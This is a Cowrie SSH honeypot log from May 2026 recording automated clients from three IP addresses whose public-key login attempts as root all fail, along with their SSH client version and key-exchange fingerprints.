{"eventid":"cowrie.login.failed","username":"root","fingerprint":"83:e4:d9:e6:0e:9f:07:df:42:9b:b3:10:8c:3b:de:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDD59EVsLTRA8hBgmkGNeVp2XMtpEQVtiVal9TwXIAIorqgTVG1sVrI1xOdzY8iub3zeFrmhGjaeMiEq9U735Sndg346BfUM56ejJkGxiCvYY9yOvqmBMMoPdA2vWPBjrMlLHBbP+oM4+lFWEYfb+IOPMTOGr1z+Hshm/zdxXeOAwu0sex01WK81kLIyV/U3wzw2LJbKjT5Ur+W1VCWf4OU3T5YUmqZa/4zXSV88QQMk7T7jXjZ4Q0LJ56OLXvA6ebXNdybOjmFqcxs6WVhQdei0rGpsOSoJhsc6ns7rEof/5yICfEL1eozRbqakYvDNm2rrz9dbBhiOkgnAgTt7w7L","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:51:20.291062Z","src_ip":"89.38.96.216","session":"f590ace420c5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ee:bd:11:68:9c:5b:21:4c:b7:8c:18:41:fc:bb:26:47","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKsSl1NOTI6y4VGyGqFxQRDD8yAkpcdtuKzMMJmIhoJM","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint ee:bd:11:68:9c:5b:21:4c:b7:8c:18:41:fc:bb:26:47","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:51:20.380790Z","src_ip":"89.38.96.216","session":"f590ace420c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ee:bd:11:68:9c:5b:21:4c:b7:8c:18:41:fc:bb:26:47","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKsSl1NOTI6y4VGyGqFxQRDD8yAkpcdtuKzMMJmIhoJM","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:51:20.385264Z","src_ip":"89.38.96.216","session":"f590ace420c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:51:20.474918Z","src_ip":"89.38.96.216","session":"f590ace420c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.111.67.242","src_port":53430,"dst_ip":"10.17.0.5","dst_port":22,"session":"29b054e28650","protocol":"ssh","message":"New connection: 78.111.67.242:53430 (10.17.0.5:22) [session: 29b054e28650]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:51:25.062259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:51:25.068421Z","src_ip":"78.111.67.242","session":"29b054e28650","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:51:25.164094Z","src_ip":"78.111.67.242","session":"29b054e28650","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"57:63:8d:a5:a0:69:c7:ef:dd:69:91:d0:bc:22:88:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJUuzEXhfIqbdpNDXWJ6Ohn+Goy90izyXNVRdGEfaqxZD1ZbloyrbCvsMY/wDO/ZhyVpjZnYBNWVxuDSTTApW9xzoL3m1V1Xv7l97OE9Vl0cTSXOt7IFqqKrJNKiiInLawQu8TJrZDRV+A2iHeSip9OySUzDKqnXIMIDnGY3/Yk78vBF8nzFJihyvSFJefNd8lc+eZ6Zdkkdscfz9TmoMIo+6ikqsWjoXrz0sHQF5DU4f58dtsfp/Z4CuIlIgWETxSN4Xq1ufzVZV5gCIzxuKDMjuJ2MU0wzVquZA/3riTmtmGGLmcinr3daR6v8sF1VIhYpjpTdaJUt5hiAIbEQUH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 57:63:8d:a5:a0:69:c7:ef:dd:69:91:d0:bc:22:88:4b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:51:25.617260Z","src_ip":"78.111.67.242","session":"29b054e28650","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"57:63:8d:a5:a0:69:c7:ef:dd:69:91:d0:bc:22:88:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJUuzEXhfIqbdpNDXWJ6Ohn+Goy90izyXNVRdGEfaqxZD1ZbloyrbCvsMY/wDO/ZhyVpjZnYBNWVxuDSTTApW9xzoL3m1V1Xv7l97OE9Vl0cTSXOt7IFqqKrJNKiiInLawQu8TJrZDRV+A2iHeSip9OySUzDKqnXIMIDnGY3/Yk78vBF8nzFJihyvSFJefNd8lc+eZ6Zdkkdscfz9TmoMIo+6ikqsWjoXrz0sHQF5DU4f58dtsfp/Z4CuIlIgWETxSN4Xq1ufzVZV5gCIzxuKDMjuJ2MU0wzVquZA/3riTmtmGGLmcinr3daR6v8sF1VIhYpjpTdaJUt5hiAIbEQUH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:51:25.621004Z","src_ip":"78.111.67.242","session":"29b054e28650","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"68:23:f6:fa:21:c5:e1:1d:c4:87:7b:3c:58:c3:22:a5","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGn9bnX/6bW5LFuzg3TXb1KjPAwmlRAKx9yRH53EEByZ","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 68:23:f6:fa:21:c5:e1:1d:c4:87:7b:3c:58:c3:22:a5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:51:25.719187Z","src_ip":"78.111.67.242","session":"29b054e28650","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"68:23:f6:fa:21:c5:e1:1d:c4:87:7b:3c:58:c3:22:a5","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGn9bnX/6bW5LFuzg3TXb1KjPAwmlRAKx9yRH53EEByZ","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:51:25.723554Z","src_ip":"78.111.67.242","session":"29b054e28650","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5e:6e:6f:49:f8:2c:8b:b0:3f:9f:2a:db:40:ea:4d:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDP1Xo09wV04XIt19DTgg4NYpTRkkAQ9BCCuJ0MrKXPUScTE2qI5fNkUXK6Zs0FftgwSq4F/XfW6ZYtyqwBsTa3tvITy3rz3Jb/QOrWL5Wu50FXHMEDvFalCJ0Iv7BHRAexDyod5ME09bit/3s0niJU/q5KWekjNMBxPQnm4nsEb6jnakvVT8G0bhQ1VG6chvaZy751AI4FYlirKz7e7wlkBMRVT9rGP1PTlAXugkazkIpNL6y9V6NSgy3Jb8YoGvKhA/5xp6KUHPCicBOKhcs6c7YDqK8jcSYPFV+Dt9YaqjoX/n6oayn0LIn/M2MxUeVOcstPhv1EzouU6jpEzi1xvCgOalDA6RoPjuqh96A6shTunEG7sXXFiXWFE5cAkqtALpRFBbBBBPhX5IbiQz2CI9noGa/0ibd53GsJi2A4oVR+R1h8Xd3ofdFJNzYeJZpp3spAEOuADtENAtypknVJzoh07e0S73YFe+CLFt2EZNsj7ouwGwTqcr00ICrRSv+RiFQKyj6D2gj6NSUz/+X1xqDlKKY/5gH7zdvk7nFAKuKhpOr+FDshue6V6js07NZ6kcbT7POinlDmnJMG3QowG6k1SqzBkJckNY81bCS1B+PiEkmu5Lez7T+BO6KdJeuTWzFT9+43ggQgBVO787xlI/mciOaOeKbcPQMoSCp+WQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5e:6e:6f:49:f8:2c:8b:b0:3f:9f:2a:db:40:ea:4d:39","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:51:25.819606Z","src_ip":"78.111.67.242","session":"29b054e28650","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5e:6e:6f:49:f8:2c:8b:b0:3f:9f:2a:db:40:ea:4d:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDP1Xo09wV04XIt19DTgg4NYpTRkkAQ9BCCuJ0MrKXPUScTE2qI5fNkUXK6Zs0FftgwSq4F/XfW6ZYtyqwBsTa3tvITy3rz3Jb/QOrWL5Wu50FXHMEDvFalCJ0Iv7BHRAexDyod5ME09bit/3s0niJU/q5KWekjNMBxPQnm4nsEb6jnakvVT8G0bhQ1VG6chvaZy751AI4FYlirKz7e7wlkBMRVT9rGP1PTlAXugkazkIpNL6y9V6NSgy3Jb8YoGvKhA/5xp6KUHPCicBOKhcs6c7YDqK8jcSYPFV+Dt9YaqjoX/n6oayn0LIn/M2MxUeVOcstPhv1EzouU6jpEzi1xvCgOalDA6RoPjuqh96A6shTunEG7sXXFiXWFE5cAkqtALpRFBbBBBPhX5IbiQz2CI9noGa/0ibd53GsJi2A4oVR+R1h8Xd3ofdFJNzYeJZpp3spAEOuADtENAtypknVJzoh07e0S73YFe+CLFt2EZNsj7ouwGwTqcr00ICrRSv+RiFQKyj6D2gj6NSUz/+X1xqDlKKY/5gH7zdvk7nFAKuKhpOr+FDshue6V6js07NZ6kcbT7POinlDmnJMG3QowG6k1SqzBkJckNY81bCS1B+PiEkmu5Lez7T+BO6KdJeuTWzFT9+43ggQgBVO787xlI/mciOaOeKbcPQMoSCp+WQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:51:25.826097Z","src_ip":"78.111.67.242","session":"29b054e28650","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"80:0d:dc:3a:57:a7:b9:e2:26:0a:3e:cb:c3:e8:af:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjneKnYwvLPhv1NSLKFKo8whamiV3jK6zgBS0GXG5x83ZjW21gex//LCEFuXtIjFVwJuZ4UvRy4Xnp7RQK7k1dHPxHzxPU8NgzpYfeLogDFZYTb2zHA06+TY7hL6OUoJXK1pfzptiDzERX+oN8qv462KZWlJhIiPtbeYp+dB12LwjIn4KewvXTLGka2FHa686Tdy7Q/yVE6m8SKjpksKSz3kRXCfPb/hO9k7roEse8tMn8Q9Zk2zvkhoCxhYk91eCNHYqSlto/3HydChS4NxRyVAii+DlD1GFeodCoWlBeKsrOle4hUddWQ39vVdqjKO8JxzzyrjfYTy30RpF6RRa9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 80:0d:dc:3a:57:a7:b9:e2:26:0a:3e:cb:c3:e8:af:4a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:51:25.922220Z","src_ip":"78.111.67.242","session":"29b054e28650","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"80:0d:dc:3a:57:a7:b9:e2:26:0a:3e:cb:c3:e8:af:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjneKnYwvLPhv1NSLKFKo8whamiV3jK6zgBS0GXG5x83ZjW21gex//LCEFuXtIjFVwJuZ4UvRy4Xnp7RQK7k1dHPxHzxPU8NgzpYfeLogDFZYTb2zHA06+TY7hL6OUoJXK1pfzptiDzERX+oN8qv462KZWlJhIiPtbeYp+dB12LwjIn4KewvXTLGka2FHa686Tdy7Q/yVE6m8SKjpksKSz3kRXCfPb/hO9k7roEse8tMn8Q9Zk2zvkhoCxhYk91eCNHYqSlto/3HydChS4NxRyVAii+DlD1GFeodCoWlBeKsrOle4hUddWQ39vVdqjKO8JxzzyrjfYTy30RpF6RRa9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:51:25.926675Z","src_ip":"78.111.67.242","session":"29b054e28650","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d1:12:f9:f5:08:5d:f9:da:1a:6f:95:b6:9a:f5:a5:d0","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFl/5zIo3qcQda5yH2vzvMbrCvCJTMbKcIIrZVZAR+mT","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint d1:12:f9:f5:08:5d:f9:da:1a:6f:95:b6:9a:f5:a5:d0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:51:26.022720Z","src_ip":"78.111.67.242","session":"29b054e28650","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d1:12:f9:f5:08:5d:f9:da:1a:6f:95:b6:9a:f5:a5:d0","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFl/5zIo3qcQda5yH2vzvMbrCvCJTMbKcIIrZVZAR+mT","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:51:26.026628Z","src_ip":"78.111.67.242","session":"29b054e28650","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:51:26.122716Z","src_ip":"78.111.67.242","session":"29b054e28650","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.192.216.2","src_port":16212,"dst_ip":"10.17.0.5","dst_port":22,"session":"7577aac18b1d","protocol":"ssh","message":"New connection: 212.192.216.2:16212 (10.17.0.5:22) [session: 7577aac18b1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:51:38.372966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:51:38.377851Z","src_ip":"212.192.216.2","session":"7577aac18b1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:51:38.462118Z","src_ip":"212.192.216.2","session":"7577aac18b1d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"57:63:8d:a5:a0:69:c7:ef:dd:69:91:d0:bc:22:88:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJUuzEXhfIqbdpNDXWJ6Ohn+Goy90izyXNVRdGEfaqxZD1ZbloyrbCvsMY/wDO/ZhyVpjZnYBNWVxuDSTTApW9xzoL3m1V1Xv7l97OE9Vl0cTSXOt7IFqqKrJNKiiInLawQu8TJrZDRV+A2iHeSip9OySUzDKqnXIMIDnGY3/Yk78vBF8nzFJihyvSFJefNd8lc+eZ6Zdkkdscfz9TmoMIo+6ikqsWjoXrz0sHQF5DU4f58dtsfp/Z4CuIlIgWETxSN4Xq1ufzVZV5gCIzxuKDMjuJ2MU0wzVquZA/3riTmtmGGLmcinr3daR6v8sF1VIhYpjpTdaJUt5hiAIbEQUH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 57:63:8d:a5:a0:69:c7:ef:dd:69:91:d0:bc:22:88:4b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:51:38.853213Z","src_ip":"212.192.216.2","session":"7577aac18b1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"57:63:8d:a5:a0:69:c7:ef:dd:69:91:d0:bc:22:88:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJUuzEXhfIqbdpNDXWJ6Ohn+Goy90izyXNVRdGEfaqxZD1ZbloyrbCvsMY/wDO/ZhyVpjZnYBNWVxuDSTTApW9xzoL3m1V1Xv7l97OE9Vl0cTSXOt7IFqqKrJNKiiInLawQu8TJrZDRV+A2iHeSip9OySUzDKqnXIMIDnGY3/Yk78vBF8nzFJihyvSFJefNd8lc+eZ6Zdkkdscfz9TmoMIo+6ikqsWjoXrz0sHQF5DU4f58dtsfp/Z4CuIlIgWETxSN4Xq1ufzVZV5gCIzxuKDMjuJ2MU0wzVquZA/3riTmtmGGLmcinr3daR6v8sF1VIhYpjpTdaJUt5hiAIbEQUH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:51:38.856839Z","src_ip":"212.192.216.2","session":"7577aac18b1d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"68:23:f6:fa:21:c5:e1:1d:c4:87:7b:3c:58:c3:22:a5","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGn9bnX/6bW5LFuzg3TXb1KjPAwmlRAKx9yRH53EEByZ","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 68:23:f6:fa:21:c5:e1:1d:c4:87:7b:3c:58:c3:22:a5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:51:38.942803Z","src_ip":"212.192.216.2","session":"7577aac18b1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"68:23:f6:fa:21:c5:e1:1d:c4:87:7b:3c:58:c3:22:a5","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGn9bnX/6bW5LFuzg3TXb1KjPAwmlRAKx9yRH53EEByZ","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:51:38.946369Z","src_ip":"212.192.216.2","session":"7577aac18b1d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5e:6e:6f:49:f8:2c:8b:b0:3f:9f:2a:db:40:ea:4d:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDP1Xo09wV04XIt19DTgg4NYpTRkkAQ9BCCuJ0MrKXPUScTE2qI5fNkUXK6Zs0FftgwSq4F/XfW6ZYtyqwBsTa3tvITy3rz3Jb/QOrWL5Wu50FXHMEDvFalCJ0Iv7BHRAexDyod5ME09bit/3s0niJU/q5KWekjNMBxPQnm4nsEb6jnakvVT8G0bhQ1VG6chvaZy751AI4FYlirKz7e7wlkBMRVT9rGP1PTlAXugkazkIpNL6y9V6NSgy3Jb8YoGvKhA/5xp6KUHPCicBOKhcs6c7YDqK8jcSYPFV+Dt9YaqjoX/n6oayn0LIn/M2MxUeVOcstPhv1EzouU6jpEzi1xvCgOalDA6RoPjuqh96A6shTunEG7sXXFiXWFE5cAkqtALpRFBbBBBPhX5IbiQz2CI9noGa/0ibd53GsJi2A4oVR+R1h8Xd3ofdFJNzYeJZpp3spAEOuADtENAtypknVJzoh07e0S73YFe+CLFt2EZNsj7ouwGwTqcr00ICrRSv+RiFQKyj6D2gj6NSUz/+X1xqDlKKY/5gH7zdvk7nFAKuKhpOr+FDshue6V6js07NZ6kcbT7POinlDmnJMG3QowG6k1SqzBkJckNY81bCS1B+PiEkmu5Lez7T+BO6KdJeuTWzFT9+43ggQgBVO787xlI/mciOaOeKbcPQMoSCp+WQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5e:6e:6f:49:f8:2c:8b:b0:3f:9f:2a:db:40:ea:4d:39","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:51:39.029022Z","src_ip":"212.192.216.2","session":"7577aac18b1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5e:6e:6f:49:f8:2c:8b:b0:3f:9f:2a:db:40:ea:4d:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDP1Xo09wV04XIt19DTgg4NYpTRkkAQ9BCCuJ0MrKXPUScTE2qI5fNkUXK6Zs0FftgwSq4F/XfW6ZYtyqwBsTa3tvITy3rz3Jb/QOrWL5Wu50FXHMEDvFalCJ0Iv7BHRAexDyod5ME09bit/3s0niJU/q5KWekjNMBxPQnm4nsEb6jnakvVT8G0bhQ1VG6chvaZy751AI4FYlirKz7e7wlkBMRVT9rGP1PTlAXugkazkIpNL6y9V6NSgy3Jb8YoGvKhA/5xp6KUHPCicBOKhcs6c7YDqK8jcSYPFV+Dt9YaqjoX/n6oayn0LIn/M2MxUeVOcstPhv1EzouU6jpEzi1xvCgOalDA6RoPjuqh96A6shTunEG7sXXFiXWFE5cAkqtALpRFBbBBBPhX5IbiQz2CI9noGa/0ibd53GsJi2A4oVR+R1h8Xd3ofdFJNzYeJZpp3spAEOuADtENAtypknVJzoh07e0S73YFe+CLFt2EZNsj7ouwGwTqcr00ICrRSv+RiFQKyj6D2gj6NSUz/+X1xqDlKKY/5gH7zdvk7nFAKuKhpOr+FDshue6V6js07NZ6kcbT7POinlDmnJMG3QowG6k1SqzBkJckNY81bCS1B+PiEkmu5Lez7T+BO6KdJeuTWzFT9+43ggQgBVO787xlI/mciOaOeKbcPQMoSCp+WQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:51:39.032478Z","src_ip":"212.192.216.2","session":"7577aac18b1d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"80:0d:dc:3a:57:a7:b9:e2:26:0a:3e:cb:c3:e8:af:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjneKnYwvLPhv1NSLKFKo8whamiV3jK6zgBS0GXG5x83ZjW21gex//LCEFuXtIjFVwJuZ4UvRy4Xnp7RQK7k1dHPxHzxPU8NgzpYfeLogDFZYTb2zHA06+TY7hL6OUoJXK1pfzptiDzERX+oN8qv462KZWlJhIiPtbeYp+dB12LwjIn4KewvXTLGka2FHa686Tdy7Q/yVE6m8SKjpksKSz3kRXCfPb/hO9k7roEse8tMn8Q9Zk2zvkhoCxhYk91eCNHYqSlto/3HydChS4NxRyVAii+DlD1GFeodCoWlBeKsrOle4hUddWQ39vVdqjKO8JxzzyrjfYTy30RpF6RRa9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 80:0d:dc:3a:57:a7:b9:e2:26:0a:3e:cb:c3:e8:af:4a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:51:39.114744Z","src_ip":"212.192.216.2","session":"7577aac18b1d","protocol":"ssh"}
